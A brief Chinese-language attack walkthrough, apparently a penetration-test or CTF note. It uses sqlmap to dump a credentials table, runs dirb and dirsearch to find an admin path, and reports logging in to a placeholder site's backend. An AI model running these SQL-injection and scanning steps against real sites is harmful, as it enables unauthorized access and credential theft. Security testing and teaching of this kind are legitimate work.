使用sqlmap工具注入。
sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump

得到账号密码后，进行目录扫描。
dirb url
dirsearch -u url
得到网站后台路径
https://www.xxx.com/system/main.php
成功登录后台。